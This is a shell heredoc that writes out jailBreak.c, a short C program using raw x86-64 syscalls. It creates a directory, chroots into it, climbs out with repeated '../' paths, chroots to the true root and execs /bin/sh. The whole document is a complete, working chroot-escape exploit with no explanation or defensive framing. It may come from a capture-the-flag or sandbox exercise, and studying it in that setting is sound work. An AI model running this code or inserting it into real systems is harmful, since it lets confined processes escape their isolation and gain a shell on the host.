cat << 'EOF' > jailBreak.c #define SYS_mkdir 83 #define SYS_chroot 161 #define SYS_chdir 80 #define SYS_execve 59 long syscall3(long num, const char *arg1, long arg2) { long ret; __asm__ volatile ( "syscall" : "=a" (ret) : "0" (num), "D" (arg1), "S" (arg2) : "rcx", "r11", "memory" ); return ret; } long syscall1(long num, const char *arg1) { long ret; __asm__ volatile ( "syscall" : "=a" (ret) : "0" (num), "D" (arg1) : "rcx", "r11", "memory" ); return ret; } void _start() { syscall3(SYS_mkdir, "d", 0755); syscall1(SYS_chroot, "d"); syscall1(SYS_chdir, "../../../../../../../"); syscall1(SYS_chroot, "."); char *args[] = {"/bin/sh", 0}; char *env[] = {0}; __asm__ volatile ( "syscall" : : "a" (SYS_execve), "D" ("/bin/sh"), "S" (args), "d" (env) : "rcx", "r11", "memory" ); __asm__ volatile ("mov $60, %rax; xor %rdi, %rdi; syscall"); } EOF